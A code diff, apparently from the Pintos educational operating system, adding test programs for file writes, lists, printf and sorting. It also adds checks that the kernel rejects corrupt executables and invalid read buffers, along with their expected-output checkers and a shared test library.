+ strlcpy (header + 257, "ustar", 6); /* magic */
+ strlcpy (header + 263, "00", 3); /* version */
+
+ /* Compute and fill in final checksum. */
+ chksum = 0;
+ for (i = 0; i < 512; i++)
+ chksum += (uint8_t) header[i];
+ snprintf (header + 148, 8, "%07o", chksum);
+
+ /* Write header. */
+ return do_write (archive_fd, header, 512, write_error);
+}
+
+static bool
+do_write (int fd, const char *buffer, int size, bool *write_error)
+{
+ if (write (fd, buffer, size) == size)
+ return true;
+ else
+ {
+ if (!*write_error)
+ {
+ printf ("error writing archive\n");
+ *write_error = true;
+ }
+ return false;
+ }
+}
diff --git a/src/tests/filesys/seq-test.c b/src/tests/filesys/seq-test.c
new file mode 100644
index 0000000..8ce222c
--- /dev/null
+++ b/src/tests/filesys/seq-test.c
@@ -0,0 +1,37 @@
+#include "tests/filesys/seq-test.h"
+#include <random.h>
+#include <syscall.h>
+#include "tests/lib.h"
+
+void
+seq_test (const char *file_name, void *buf, size_t size, size_t initial_size,
+ size_t (*block_size_func) (void),
+ void (*check_func) (int fd, long ofs))
+{
+ size_t ofs;
+ int fd;
+
+ random_bytes (buf, size);
+ CHECK (create (file_name, initial_size), "create \"%s\"", file_name);
+ CHECK ((fd = open (file_name)) > 1, "open \"%s\"", file_name);
+
+ ofs = 0;
+ msg ("writing \"%s\"", file_name);
+ while (ofs < size)
+ {
+ size_t block_size = block_size_func ();
+ if (block_size > size - ofs)
+ block_size = size - ofs;
+
+ if (write (fd, buf + ofs, block_size) != (int) block_size)
+ fail ("write %zu bytes at offset %zu in \"%s\" failed",
+ block_size, ofs, file_name);
+
+ ofs += block_size;
+ if (check_func != NULL)
+ check_func (fd, ofs);
+ }
+ msg ("close \"%s\"", file_name);
+ close (fd);
+ check_file (file_name, buf, size);
+}
diff --git a/src/tests/filesys/seq-test.h b/src/tests/filesys/seq-test.h
new file mode 100644
index 0000000..0697381
--- /dev/null
+++ b/src/tests/filesys/seq-test.h
@@ -0,0 +1,11 @@
+#ifndef TESTS_FILESYS_SEQ_TEST_H
+#define TESTS_FILESYS_SEQ_TEST_H
+
+#include <stddef.h>
+
+void seq_test (const char *file_name,
+ void *buf, size_t size, size_t initial_size,
+ size_t (*block_size_func) (void),
+ void (*check_func) (int fd, long ofs));
+
+#endif /* tests/filesys/seq-test.h */
diff --git a/src/tests/internal/list.c b/src/tests/internal/list.c
new file mode 100644
index 0000000..836c69e
--- /dev/null
+++ b/src/tests/internal/list.c
@@ -0,0 +1,174 @@
+/* Test program for lib/kernel/list.c.
+
+ Attempts to test the list functionality that is not
+ sufficiently tested elsewhere in Pintos.
+
+ This is not a test we will run on your submitted projects.
+ It is here for completeness.
+*/
+
+#undef NDEBUG
+#include <debug.h>
+#include <list.h>
+#include <random.h>
+#include <stdio.h>
+#include "threads/test.h"
+
+/* Maximum number of elements in a linked list that we will
+ test. */
+#define MAX_SIZE 64
+
+/* A linked list element. */
+struct value
+ {
+ struct list_elem elem; /* List element. */
+ int value; /* Item value. */
+ };
+
+static void shuffle (struct value[], size_t);
+static bool value_less (const struct list_elem *, const struct list_elem *,
+ void *);
+static void verify_list_fwd (struct list *, int size);
+static void verify_list_bkwd (struct list *, int size);
+
+/* Test the linked list implementation. */
+void
+test (void)
+{
+ int size;
+
+ printf ("testing various size lists:");
+ for (size = 0; size < MAX_SIZE; size++)
+ {
+ int repeat;
+
+ printf (" %d", size);
+ for (repeat = 0; repeat < 10; repeat++)
+ {
+ static struct value values[MAX_SIZE * 4];
+ struct list list;
+ struct list_elem *e;
+ int i, ofs;
+
+ /* Put values 0...SIZE in random order in VALUES. */
+ for (i = 0; i < size; i++)
+ values[i].value = i;
+ shuffle (values, size);
+
+ /* Assemble list. */
+ list_init (&list);
+ for (i = 0; i < size; i++)
+ list_push_back (&list, &values[i].elem);
+
+ /* Verify correct minimum and maximum elements. */
+ e = list_min (&list, value_less, NULL);
+ ASSERT (size ? list_entry (e, struct value, elem)->value == 0
+ : e == list_begin (&list));
+ e = list_max (&list, value_less, NULL);
+ ASSERT (size ? list_entry (e, struct value, elem)->value == size - 1
+ : e == list_begin (&list));
+
+ /* Sort and verify list. */
+ list_sort (&list, value_less, NULL);
+ verify_list_fwd (&list, size);
+
+ /* Reverse and verify list. */
+ list_reverse (&list);
+ verify_list_bkwd (&list, size);
+
+ /* Shuffle, insert using list_insert_ordered(),
+ and verify ordering. */
+ shuffle (values, size);
+ list_init (&list);
+ for (i = 0; i < size; i++)
+ list_insert_ordered (&list, &values[i].elem,
+ value_less, NULL);
+ verify_list_fwd (&list, size);
+
+ /* Duplicate some items, uniquify, and verify. */
+ ofs = size;
+ for (e = list_begin (&list); e != list_end (&list);
+ e = list_next (e))
+ {
+ struct value *v = list_entry (e, struct value, elem);
+ int copies = random_ulong () % 4;
+ while (copies-- > 0)
+ {
+ values[ofs].value = v->value;
+ list_insert (e, &values[ofs++].elem);
+ }
+ }
+ ASSERT ((size_t) ofs < sizeof values / sizeof *values);
+ list_unique (&list, NULL, value_less, NULL);
+ verify_list_fwd (&list, size);
+ }
+ }
+
+ printf (" done\n");
+ printf ("list: PASS\n");
+}
+
+/* Shuffles the CNT elements in ARRAY into random order. */
+static void
+shuffle (struct value *array, size_t cnt)
+{
+ size_t i;
+
+ for (i = 0; i < cnt; i++)
+ {
+ size_t j = i + random_ulong () % (cnt - i);
+ struct value t = array[j];
+ array[j] = array[i];
+ array[i] = t;
+ }
+}
+
+/* Returns true if value A is less than value B, false
+ otherwise. */
+static bool
+value_less (const struct list_elem *a_, const struct list_elem *b_,
+ void *aux UNUSED)
+{
+ const struct value *a = list_entry (a_, struct value, elem);
+ const struct value *b = list_entry (b_, struct value, elem);
+
+ return a->value < b->value;
+}
+
+/* Verifies that LIST contains the values 0...SIZE when traversed
+ in forward order. */
+static void
+verify_list_fwd (struct list *list, int size)
+{
+ struct list_elem *e;
+ int i;
+
+ for (i = 0, e = list_begin (list);
+ i < size && e != list_end (list);
+ i++, e = list_next (e))
+ {
+ struct value *v = list_entry (e, struct value, elem);
+ ASSERT (i == v->value);
+ }
+ ASSERT (i == size);
+ ASSERT (e == list_end (list));
+}
+
+/* Verifies that LIST contains the values 0...SIZE when traversed
+ in reverse order. */
+static void
+verify_list_bkwd (struct list *list, int size)
+{
+ struct list_elem *e;
+ int i;
+
+ for (i = 0, e = list_rbegin (list);
+ i < size && e != list_rend (list);
+ i++, e = list_prev (e))
+ {
+ struct value *v = list_entry (e, struct value, elem);
+ ASSERT (i == v->value);
+ }
+ ASSERT (i == size);
+ ASSERT (e == list_rend (list));
+}
diff --git a/src/tests/internal/stdio.c b/src/tests/internal/stdio.c
new file mode 100644
index 0000000..fb60cda
--- /dev/null
+++ b/src/tests/internal/stdio.c
@@ -0,0 +1,208 @@
+/* Test program for printf() in lib/stdio.c.
+
+ Attempts to test printf() functionality that is not
+ sufficiently tested elsewhere in Pintos.
+
+ This is not a test we will run on your submitted projects.
+ It is here for completeness.
+*/
+
+#undef NDEBUG
+#include <limits.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include "threads/test.h"
+
+/* Number of failures so far. */
+static int failure_cnt;
+
+static void
+checkf (const char *expect, const char *format, ...)
+{
+ char output[128];
+ va_list args;
+
+ printf ("\"%s\" -> \"%s\": ", format, expect);
+
+ va_start (args, format);
+ vsnprintf (output, sizeof output, format, args);
+ va_end (args);
+
+ if (strcmp (expect, output))
+ {
+ printf ("\nFAIL: actual output \"%s\"\n", output);
+ failure_cnt++;
+ }
+ else
+ printf ("okay\n");
+}
+
+/* Test printf() implementation. */
+void
+test (void)
+{
+ printf ("Testing formats:");
+
+ /* Check that commas show up in the right places, for positive
+ numbers. */
+ checkf ("1", "%'d", 1);
+ checkf ("12", "%'d", 12);
+ checkf ("123", "%'d", 123);
+ checkf ("1,234", "%'d", 1234);
+ checkf ("12,345", "%'d", 12345);
+ checkf ("123,456", "%'ld", 123456L);
+ checkf ("1,234,567", "%'ld", 1234567L);
+ checkf ("12,345,678", "%'ld", 12345678L);
+ checkf ("123,456,789", "%'ld", 123456789L);
+ checkf ("1,234,567,890", "%'ld", 1234567890L);
+ checkf ("12,345,678,901", "%'lld", 12345678901LL);
+ checkf ("123,456,789,012", "%'lld", 123456789012LL);
+ checkf ("1,234,567,890,123", "%'lld", 1234567890123LL);
+ checkf ("12,345,678,901,234", "%'lld", 12345678901234LL);
+ checkf ("123,456,789,012,345", "%'lld", 123456789012345LL);
+ checkf ("1,234,567,890,123,456", "%'lld", 1234567890123456LL);
+ checkf ("12,345,678,901,234,567", "%'lld", 12345678901234567LL);
+ checkf ("123,456,789,012,345,678", "%'lld", 123456789012345678LL);
+ checkf ("1,234,567,890,123,456,789", "%'lld", 1234567890123456789LL);
+
+ /* Check that commas show up in the right places, for positive
+ numbers. */
+ checkf ("-1", "%'d", -1);
+ checkf ("-12", "%'d", -12);
+ checkf ("-123", "%'d", -123);
+ checkf ("-1,234", "%'d", -1234);
+ checkf ("-12,345", "%'d", -12345);
+ checkf ("-123,456", "%'ld", -123456L);
+ checkf ("-1,234,567", "%'ld", -1234567L);
+ checkf ("-12,345,678", "%'ld", -12345678L);
+ checkf ("-123,456,789", "%'ld", -123456789L);
+ checkf ("-1,234,567,890", "%'ld", -1234567890L);
+ checkf ("-12,345,678,901", "%'lld", -12345678901LL);
+ checkf ("-123,456,789,012", "%'lld", -123456789012LL);
+ checkf ("-1,234,567,890,123", "%'lld", -1234567890123LL);
+ checkf ("-12,345,678,901,234", "%'lld", -12345678901234LL);
+ checkf ("-123,456,789,012,345", "%'lld", -123456789012345LL);
+ checkf ("-1,234,567,890,123,456", "%'lld", -1234567890123456LL);
+ checkf ("-12,345,678,901,234,567", "%'lld", -12345678901234567LL);
+ checkf ("-123,456,789,012,345,678", "%'lld", -123456789012345678LL);
+ checkf ("-1,234,567,890,123,456,789", "%'lld", -1234567890123456789LL);
+
+ /* Check signed integer conversions. */
+ checkf (" 0", "%5d", 0);
+ checkf ("0 ", "%-5d", 0);
+ checkf (" +0", "%+5d", 0);
+ checkf ("+0 ", "%+-5d", 0);
+ checkf (" 0", "% 5d", 0);
+ checkf ("00000", "%05d", 0);
+ checkf (" ", "%5.0d", 0);
+ checkf (" 00", "%5.2d", 0);
+ checkf ("0", "%d", 0);
+
+ checkf (" 1", "%5d", 1);
+ checkf ("1 ", "%-5d", 1);
+ checkf (" +1", "%+5d", 1);
+ checkf ("+1 ", "%+-5d", 1);
+ checkf (" 1", "% 5d", 1);
+ checkf ("00001", "%05d", 1);
+ checkf (" 1", "%5.0d", 1);
+ checkf (" 01", "%5.2d", 1);
+ checkf ("1", "%d", 1);
+
+ checkf (" -1", "%5d", -1);
+ checkf ("-1 ", "%-5d", -1);
+ checkf (" -1", "%+5d", -1);
+ checkf ("-1 ", "%+-5d", -1);
+ checkf (" -1", "% 5d", -1);
+ checkf ("-0001", "%05d", -1);
+ checkf (" -1", "%5.0d", -1);
+ checkf (" -01", "%5.2d", -1);
+ checkf ("-1", "%d", -1);
+
+ checkf ("12345", "%5d", 12345);
+ checkf ("12345", "%-5d", 12345);
+ checkf ("+12345", "%+5d", 12345);
+ checkf ("+12345", "%+-5d", 12345);
+ checkf (" 12345", "% 5d", 12345);
+ checkf ("12345", "%05d", 12345);
+ checkf ("12345", "%5.0d", 12345);
+ checkf ("12345", "%5.2d", 12345);
+ checkf ("12345", "%d", 12345);
+
+ checkf ("123456", "%5d", 123456);
+ checkf ("123456", "%-5d", 123456);
+ checkf ("+123456", "%+5d", 123456);
+ checkf ("+123456", "%+-5d", 123456);
+ checkf (" 123456", "% 5d", 123456);
+ checkf ("123456", "%05d", 123456);
+ checkf ("123456", "%5.0d", 123456);
+ checkf ("123456", "%5.2d", 123456);
+ checkf ("123456", "%d", 123456);
+
+ /* Check unsigned integer conversions. */
+ checkf (" 0", "%5u", 0);
+ checkf (" 0", "%5o", 0);
+ checkf (" 0", "%5x", 0);
+ checkf (" 0", "%5X", 0);
+ checkf (" 0", "%#5o", 0);
+ checkf (" 0", "%#5x", 0);
+ checkf (" 0", "%#5X", 0);
+ checkf (" 00000000", "%#10.8x", 0);
+
+ checkf (" 1", "%5u", 1);
+ checkf (" 1", "%5o", 1);
+ checkf (" 1", "%5x", 1);
+ checkf (" 1", "%5X", 1);
+ checkf (" 01", "%#5o", 1);
+ checkf (" 0x1", "%#5x", 1);
+ checkf (" 0X1", "%#5X", 1);
+ checkf ("0x00000001", "%#10.8x", 1);
+
+ checkf ("123456", "%5u", 123456);
+ checkf ("361100", "%5o", 123456);
+ checkf ("1e240", "%5x", 123456);
+ checkf ("1E240", "%5X", 123456);
+ checkf ("0361100", "%#5o", 123456);
+ checkf ("0x1e240", "%#5x", 123456);
+ checkf ("0X1E240", "%#5X", 123456);
+ checkf ("0x0001e240", "%#10.8x", 123456);
+
+ /* Character and string conversions. */
+ checkf ("foobar", "%c%c%c%c%c%c", 'f', 'o', 'o', 'b', 'a', 'r');
+ checkf (" left-right ", "%6s%s%-7s", "left", "-", "right");
+ checkf ("trim", "%.4s", "trimoff");
+ checkf ("%%", "%%%%");
+
+ /* From Cristian Cadar's automatic test case generator. */
+ checkf (" abcdefgh", "%9s", "abcdefgh");
+ checkf ("36657730000", "%- o", (unsigned) 036657730000);
+ checkf ("4139757568", "%- u", (unsigned) 4139757568UL);
+ checkf ("f6bfb000", "%- x", (unsigned) 0xf6bfb000);
+ checkf ("36657730000", "%-to", (ptrdiff_t) 036657730000);
+ checkf ("4139757568", "%-tu", (ptrdiff_t) 4139757568UL);
+ checkf ("-155209728", "%-zi", (size_t) -155209728);
+ checkf ("-155209728", "%-zd", (size_t) -155209728);
+ checkf ("036657730000", "%+#o", (unsigned) 036657730000);
+ checkf ("0xf6bfb000", "%+#x", (unsigned) 0xf6bfb000);
+ checkf ("-155209728", "% zi", (size_t) -155209728);
+ checkf ("-155209728", "% zd", (size_t) -155209728);
+ checkf ("4139757568", "% tu", (ptrdiff_t) 4139757568UL);
+ checkf ("036657730000", "% #o", (unsigned) 036657730000);
+ checkf ("0xf6bfb000", "% #x", (unsigned) 0xf6bfb000);
+ checkf ("0xf6bfb000", "%# x", (unsigned) 0xf6bfb000);
+ checkf ("-155209728", "%#zd", (size_t) -155209728);
+ checkf ("-155209728", "%0zi", (size_t) -155209728);
+ checkf ("4,139,757,568", "%'tu", (ptrdiff_t) 4139757568UL);
+ checkf ("-155,209,728", "%-'d", -155209728);
+ checkf ("-155209728", "%.zi", (size_t) -155209728);
+ checkf ("-155209728", "%zi", (size_t) -155209728);
+ checkf ("-155209728", "%zd", (size_t) -155209728);
+ checkf ("-155209728", "%+zi", (size_t) -155209728);
+
+ if (failure_cnt == 0)
+ printf ("\nstdio: PASS\n");
+ else
+ printf ("\nstdio: FAIL: %d tests failed\n", failure_cnt);
+}
diff --git a/src/tests/internal/stdlib.c b/src/tests/internal/stdlib.c
new file mode 100644
index 0000000..ad0f0f9
--- /dev/null
+++ b/src/tests/internal/stdlib.c
@@ -0,0 +1,114 @@
+/* Test program for sorting and searching in lib/stdlib.c.
+
+ Attempts to test the sorting and searching functionality that
+ is not sufficiently tested elsewhere in Pintos.
+
+ This is not a test we will run on your submitted projects.
+ It is here for completeness.
+*/
+
+#undef NDEBUG
+#include <debug.h>
+#include <limits.h>
+#include <random.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include "threads/test.h"
+
+/* Maximum number of elements in an array that we will test. */
+#define MAX_CNT 4096
+
+static void shuffle (int[], size_t);
+static int compare_ints (const void *, const void *);
+static void verify_order (const int[], size_t);
+static void verify_bsearch (const int[], size_t);
+
+/* Test sorting and searching implementations. */
+void
+test (void)
+{
+ int cnt;
+
+ printf ("testing various size arrays:");
+ for (cnt = 0; cnt < MAX_CNT; cnt = cnt * 4 / 3 + 1)
+ {
+ int repeat;
+
+ printf (" %zu", cnt);
+ for (repeat = 0; repeat < 10; repeat++)
+ {
+ static int values[MAX_CNT];
+ int i;
+
+ /* Put values 0...CNT in random order in VALUES. */
+ for (i = 0; i < cnt; i++)
+ values[i] = i;
+ shuffle (values, cnt);
+
+ /* Sort VALUES, then verify ordering. */
+ qsort (values, cnt, sizeof *values, compare_ints);
+ verify_order (values, cnt);
+ verify_bsearch (values, cnt);
+ }
+ }
+
+ printf (" done\n");
+ printf ("stdlib: PASS\n");
+}
+
+/* Shuffles the CNT elements in ARRAY into random order. */
+static void
+shuffle (int *array, size_t cnt)
+{
+ size_t i;
+
+ for (i = 0; i < cnt; i++)
+ {
+ size_t j = i + random_ulong () % (cnt - i);
+ int t = array[j];
+ array[j] = array[i];
+ array[i] = t;
+ }
+}
+
+/* Returns 1 if *A is greater than *B,
+ 0 if *A equals *B,
+ -1 if *A is less than *B. */
+static int
+compare_ints (const void *a_, const void *b_)
+{
+ const int *a = a_;
+ const int *b = b_;
+
+ return *a < *b ? -1 : *a > *b;
+}
+
+/* Verifies that ARRAY contains the CNT ints 0...CNT-1. */
+static void
+verify_order (const int *array, size_t cnt)
+{
+ int i;
+
+ for (i = 0; (size_t) i < cnt; i++)
+ ASSERT (array[i] == i);
+}
+
+/* Checks that bsearch() works properly in ARRAY. ARRAY must
+ contain the values 0...CNT-1. */
+static void
+verify_bsearch (const int *array, size_t cnt)
+{
+ int not_in_array[] = {0, -1, INT_MAX, MAX_CNT, MAX_CNT + 1, MAX_CNT * 2};
+ int i;
+
+ /* Check that all the values in the array are found properly. */
+ for (i = 0; (size_t) i < cnt; i++)
+ ASSERT (bsearch (&i, array, cnt, sizeof *array, compare_ints)
+ == array + i);
+
+ /* Check that some values not in the array are not found. */
+ not_in_array[0] = cnt;
+ for (i = 0; (size_t) i < sizeof not_in_array / sizeof *not_in_array; i++)
+ ASSERT (bsearch (&not_in_array[i], array, cnt, sizeof *array, compare_ints)
+ == NULL);
+}
diff --git a/src/tests/klaar/Make.tests b/src/tests/klaar/Make.tests
new file mode 100644
index 0000000..66b097a
--- /dev/null
+++ b/src/tests/klaar/Make.tests
@@ -0,0 +1,24 @@
+# -*- makefile -*-
+
+tests/%.output: FSDISK = 2
+tests/%.output: PUTFILES = $(filter-out os.dsk, $^)
+
+tests/klaar_TESTS = $(addprefix tests/klaar/,read-bad-buf low-mem \
+exec-corrupt)
+
+tests/klaar_PROGS = $(tests/klaar_TESTS) $(addprefix \
+tests/klaar/,child-simple)
+
+tests/klaar/read-bad-buf_SRC = tests/klaar/read-bad-buf.c tests/main.c
+tests/klaar/low-mem_SRC = tests/klaar/low-mem.c tests/main.c
+tests/klaar/exec-corrupt_SRC += tests/klaar/exec-corrupt.c tests/main.c
+
+tests/klaar/child-simple_SRC = tests/klaar/child-simple.c
+
+$(foreach prog,$(tests/klaar_PROGS),$(eval $(prog)_SRC += tests/lib.c))
+
+tests/klaar/read-bad-buf_PUTFILES += tests/klaar/sample.txt
+tests/klaar/low-mem_PUTFILES += tests/klaar/child-simple
+tests/klaar/exec-corrupt_PUTFILES += tests/klaar/corrupt-elf
+
+tests/klaar/low-mem.output: KERNELFLAGS = -tcl=3
diff --git a/src/tests/klaar/child-simple.c b/src/tests/klaar/child-simple.c
new file mode 100644
index 0000000..0d2dacf
--- /dev/null
+++ b/src/tests/klaar/child-simple.c
@@ -0,0 +1,15 @@
+/* Child process run by exec-multiple, exec-one, wait-simple, and
+ wait-twice tests.
+ Just prints a single message and terminates. */
+
+#include <stdio.h>
+#include "tests/lib.h"
+
+const char *test_name = "child-simple";
+
+int
+main (void)
+{
+ msg ("run");
+ return 81;
+}
diff --git a/src/tests/klaar/corrupt-elf b/src/tests/klaar/corrupt-elf
new file mode 100644
index 0000000..456421b
--- /dev/null
+++ b/src/tests/klaar/corrupt-elf
Binary files differ
diff --git a/src/tests/klaar/exec-corrupt.c b/src/tests/klaar/exec-corrupt.c
new file mode 100644
index 0000000..9f83692
--- /dev/null
+++ b/src/tests/klaar/exec-corrupt.c
@@ -0,0 +1,14 @@
+/*
+ Try to load a corrupt executable.
+ (klaar@ida)
+*/
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ msg ("exec(\"corrupt-elf\"): %d", exec ("corrupt-elf"));
+}
diff --git a/src/tests/klaar/exec-corrupt.ck b/src/tests/klaar/exec-corrupt.ck
new file mode 100644
index 0000000..d66eeee
--- /dev/null
+++ b/src/tests/klaar/exec-corrupt.ck
@@ -0,0 +1,31 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF', <<'EOF', <<'EOF', <<'EOF']);
+(exec-corrupt) begin
+load: corrupt-elf: error loading executable
+(exec-corrupt) exec("corrupt-elf"): -1
+(exec-corrupt) end
+exec-corrupt: exit(0)
+EOF
+(exec-corrupt) begin
+(exec-corrupt) exec("corrupt-elf"): -1
+(exec-corrupt) end
+exec-corrupt: exit(0)
+EOF
+(exec-corrupt) begin
+load: corrupt-elf: error loading executable
+corrupt-elf: exit(-1)
+(exec-corrupt) exec("corrupt-elf"): -1
+(exec-corrupt) end
+exec-corrupt: exit(0)
+EOF
+(exec-corrupt) begin
+load: corrupt-elf: error loading executable
+(exec-corrupt) exec("corrupt-elf"): -1
+corrupt-elf: exit(-1)
+(exec-corrupt) end
+exec-corrupt: exit(0)
+EOF
+pass;
diff --git a/src/tests/klaar/low-mem.c b/src/tests/klaar/low-mem.c
new file mode 100644
index 0000000..8f1da3e
--- /dev/null
+++ b/src/tests/klaar/low-mem.c
@@ -0,0 +1,15 @@
+/*
+ Simulate a failure in thread_create.
+ A real reason for failure could be low memory.
+ (klaar@ida)
+*/
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ msg ("exec(\"child-simple\"): %d", exec ("child-simple"));
+}
diff --git a/src/tests/klaar/low-mem.ck b/src/tests/klaar/low-mem.ck
new file mode 100644
index 0000000..f128c30
--- /dev/null
+++ b/src/tests/klaar/low-mem.ck
@@ -0,0 +1,11 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(low-mem) begin
+(low-mem) exec("child-simple"): -1
+(low-mem) end
+low-mem: exit(0)
+EOF
+pass;
diff --git a/src/tests/klaar/read-bad-buf.c b/src/tests/klaar/read-bad-buf.c
new file mode 100644
index 0000000..1e41562
--- /dev/null
+++ b/src/tests/klaar/read-bad-buf.c
@@ -0,0 +1,24 @@
+/* Passes an semingly valid pointer to the read system call.
+ The pointer will however span invalid pages.
+ The process must be terminated with -1 exit code.
+ (klaar@ida)
+*/
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+char global; /* allocated with process image */
+
+void
+test_main (void)
+{
+ int handle;
+ char local; /* allocated on process stack */
+
+ CHECK ((handle = open ("sample.txt")) > 1, "open \"sample.txt\"");
+
+ /* buffer will start and end at valid addresses ... */
+ read (handle, (char *)&global, &local - &global + 1);
+ fail ("should not have survived read()");
+}
diff --git a/src/tests/klaar/read-bad-buf.ck b/src/tests/klaar/read-bad-buf.ck
new file mode 100644
index 0000000..22adc50
--- /dev/null
+++ b/src/tests/klaar/read-bad-buf.ck
@@ -0,0 +1,15 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF', <<'EOF']);
+(read-bad-buf) begin
+(read-bad-buf) open "sample.txt"
+(read-bad-buf) end
+read-bad-buf: exit(0)
+EOF
+(read-bad-buf) begin
+(read-bad-buf) open "sample.txt"
+read-bad-buf: exit(-1)
+EOF
+pass;
diff --git a/src/tests/klaar/sample.txt b/src/tests/klaar/sample.txt
new file mode 100644
index 0000000..5050fec
--- /dev/null
+++ b/src/tests/klaar/sample.txt
@@ -0,0 +1,4 @@
+"Amazing Electronic Fact: If you scuffed your feet long enough without
+ touching anything, you would build up so many electrons that your
+ finger would explode! But this is nothing to worry about unless you
+ have carpeting." --Dave Barry
diff --git a/src/tests/lib.c b/src/tests/lib.c
new file mode 100644
index 0000000..ee36505
--- /dev/null
+++ b/src/tests/lib.c
@@ -0,0 +1,196 @@
+#include "tests/lib.h"
+#include <random.h>
+#include <stdarg.h>
+#include <stdio.h>
+#include <string.h>
+#include <syscall.h>
+
+const char *test_name;
+bool quiet = false;
+
+static void
+vmsg (const char *format, va_list args, const char *suffix)
+{
+ /* We go to some trouble to stuff the entire message into a
+ single buffer and output it in a single system call, because
+ that'll (typically) ensure that it gets sent to the console
+ atomically. Otherwise kernel messages like "foo: exit(0)"
+ can end up being interleaved if we're unlucky. */
+ static char buf[1024];
+
+ snprintf (buf, sizeof buf, "(%s) ", test_name);
+ vsnprintf (buf + strlen (buf), sizeof buf - strlen (buf), format, args);
+ strlcpy (buf + strlen (buf), suffix, sizeof buf - strlen (buf));
+ write (STDOUT_FILENO, buf, strlen (buf));
+}
+
+void
+msg (const char *format, ...)
+{
+ va_list args;
+
+ if (quiet)
+ return;
+ va_start (args, format);
+ vmsg (format, args, "\n");
+ va_end (args);
+}
+
+void
+fail (const char *format, ...)
+{
+ va_list args;
+
+ va_start (args, format);
+ vmsg (format, args, ": FAILED\n");
+ va_end (args);
+
+ exit (1);
+}
+
+static void
+swap (void *a_, void *b_, size_t size)
+{
+ uint8_t *a = a_;
+ uint8_t *b = b_;
+ size_t i;
+
+ for (i = 0; i < size; i++)
+ {
+ uint8_t t = a[i];
+ a[i] = b[i];
+ b[i] = t;
+ }
+}
+
+void
+shuffle (void *buf_, size_t cnt, size_t size)
+{
+ char *buf = buf_;
+ size_t i;
+
+ for (i = 0; i < cnt; i++)
+ {
+ size_t j = i + random_ulong () % (cnt - i);
+ swap (buf + i * size, buf + j * size, size);
+ }
+}
+
+void
+exec_children (const char *child_name, pid_t pids[], size_t child_cnt)
+{
+ size_t i;
+
+ for (i = 0; i < child_cnt; i++)
+ {
+ char cmd_line[128];
+ snprintf (cmd_line, sizeof cmd_line, "%s %zu", child_name, i);
+ CHECK ((pids[i] = exec (cmd_line)) != PID_ERROR,
+ "exec child %zu of %zu: \"%s\"", i + 1, child_cnt, cmd_line);
+ }
+}
+
+void
+wait_children (pid_t pids[], size_t child_cnt)
+{
+ size_t i;
+
+ for (i = 0; i < child_cnt; i++)
+ {
+ int status = wait (pids[i]);
+ CHECK (status == (int) i,
+ "wait for child %zu of %zu returned %d (expected %zu)",
+ i + 1, child_cnt, status, i);
+ }
+}
+
+void
+check_file_handle (int fd,
+ const char *file_name, const void *buf_, size_t size)
+{
+ const char *buf = buf_;
+ size_t ofs = 0;
+ size_t file_size;
+
+ /* Warn about file of wrong size. Don't fail yet because we
+ may still be able to get more information by reading the
+ file. */
+ file_size = filesize (fd);
+ if (file_size != size)
+ msg ("size of %s (%zu) differs from expected (%zu)",
+ file_name, file_size, size);
+
+ /* Read the file block-by-block, comparing data as we go. */
+ while (ofs < size)
+ {
+ char block[512];
+ size_t block_size, ret_val;
+
+ block_size = size - ofs;
+ if (block_size > sizeof block)
+ block_size = sizeof block;
+
+ ret_val = read (fd, block, block_size);
+ if (ret_val != block_size)
+ fail ("read of %zu bytes at offset %zu in \"%s\" returned %zu",
+ block_size, ofs, file_name, ret_val);
+
+ compare_bytes (block, buf + ofs, block_size, ofs, file_name);
+ ofs += block_size;
+ }
+
+ /* Now fail due to wrong file size. */
+ if (file_size != size)
+ fail ("size of %s (%zu) differs from expected (%zu)",
+ file_name, file_size, size);
+
+ msg ("verified contents of \"%s\"", file_name);
+}
+
+void
+check_file (const char *file_name, const void *buf, size_t size)
+{
+ int fd;
+
+ CHECK ((fd = open (file_name)) > 1, "open \"%s\" for verification",
+ file_name);
+ check_file_handle (fd, file_name, buf, size);
+ msg ("close \"%s\"", file_name);
+ close (fd);
+}
+
+void
+compare_bytes (const void *read_data_, const void *expected_data_, size_t size,
+ size_t ofs, const char *file_name)
+{
+ const uint8_t *read_data = read_data_;
+ const uint8_t *expected_data = expected_data_;
+ size_t i, j;
+ size_t show_cnt;
+
+ if (!memcmp (read_data, expected_data, size))
+ return;
+
+ for (i = 0; i < size; i++)
+ if (read_data[i] != expected_data[i])
+ break;
+ for (j = i + 1; j < size; j++)
+ if (read_data[j] == expected_data[j])
+ break;
+
+ quiet = false;
+ msg ("%zu bytes read starting at offset %zu in \"%s\" differ "
+ "from expected.", j - i, ofs + i, file_name);
+ show_cnt = j - i;
+ if (j - i > 64)
+ {
+ show_cnt = 64;
+ msg ("Showing first differing %zu bytes.", show_cnt);
+ }
+ msg ("Data actually read:");
+ hex_dump (ofs + i, read_data + i, show_cnt, true);
+ msg ("Expected data:");
+ hex_dump (ofs + i, expected_data + i, show_cnt, true);
+ fail ("%zu bytes read starting at offset %zu in \"%s\" differ "
+ "from expected", j - i, ofs + i, file_name);
+}
diff --git a/src/tests/lib.h b/src/tests/lib.h
new file mode 100644
index 0000000..648327b
--- /dev/null
+++ b/src/tests/lib.h
@@ -0,0 +1,50 @@
+#ifndef TESTS_LIB_H
+#define TESTS_LIB_H
+
+#include <debug.h>
+#include <stdbool.h>
+#include <stddef.h>
+#include <syscall.h>
+
+extern const char *test_name;
+extern bool quiet;
+
+void msg (const char *, ...) PRINTF_FORMAT (1, 2);
+void fail (const char *, ...) PRINTF_FORMAT (1, 2) NO_RETURN;
+
+/* Takes an expression to test for SUCCESS and a message, which
+ may include printf-style arguments. Logs the message, then
+ tests the expression. If it is zero, indicating failure,
+ emits the message as a failure.
+
+ Somewhat tricky to use:
+
+ - SUCCESS must not have side effects that affect the
+ message, because that will cause the original message and
+ the failure message to differ.
+
+ - The message must not have side effects of its own, because
+ it will be printed twice on failure, or zero times on
+ success if quiet is set. */
+#define CHECK(SUCCESS, ...) \
+ do \
+ { \
+ msg (__VA_ARGS__); \
